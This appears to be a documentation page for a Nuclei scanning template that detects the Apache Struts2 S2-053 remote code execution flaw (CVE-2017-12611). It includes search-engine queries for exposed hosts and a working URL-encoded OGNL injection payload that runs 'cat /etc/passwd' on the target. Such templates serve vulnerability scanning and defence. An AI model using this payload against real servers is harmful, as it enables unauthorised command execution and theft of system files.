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Apache Struts2 S2-053 - Remote Code Execution

ID: CVE-2017-12611

Severity: critical

Author: pikpikcu

Tags: cve,cve2017,apache,rce,struts

Description

Section titled “Description”

Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1 uses an unintentional expression in a Freemarker tag instead of string literals, which makes it susceptible to remote code execution attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2017-12611


info:
  name: Apache Struts2 S2-053 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1 uses an unintentional expression in a Freemarker tag instead of string literals, which makes it susceptible to remote code execution attacks.
  impact: |
    Remote code execution
  remediation: |
    Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts2.
  reference:
    - https://struts.apache.org/docs/s2-053.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12611
    - https://kb.netapp.com/support/s/article/ka51A000000CgttQAC/NTAP-20170911-0001
    - http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2017-003.txt
    - http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-12611
    cwe-id: CWE-20
    epss-score: 0.97358
    epss-percentile: 0.99886
    cpe: cpe:2.3:a:apache:struts:2.0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"apache struts"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve,cve2017,apache,rce,struts


http:
  - method: POST
    path:
      - "{{BaseURL}}/?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c5b9c643517f8ac6d5dd31471065c8bfeb5c64e255c10f6fd01b877ed80c76de0220418b26966d9d243038fedf495143cd40029cd852c9b26802105d009b82cd399b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-12611.yaml"

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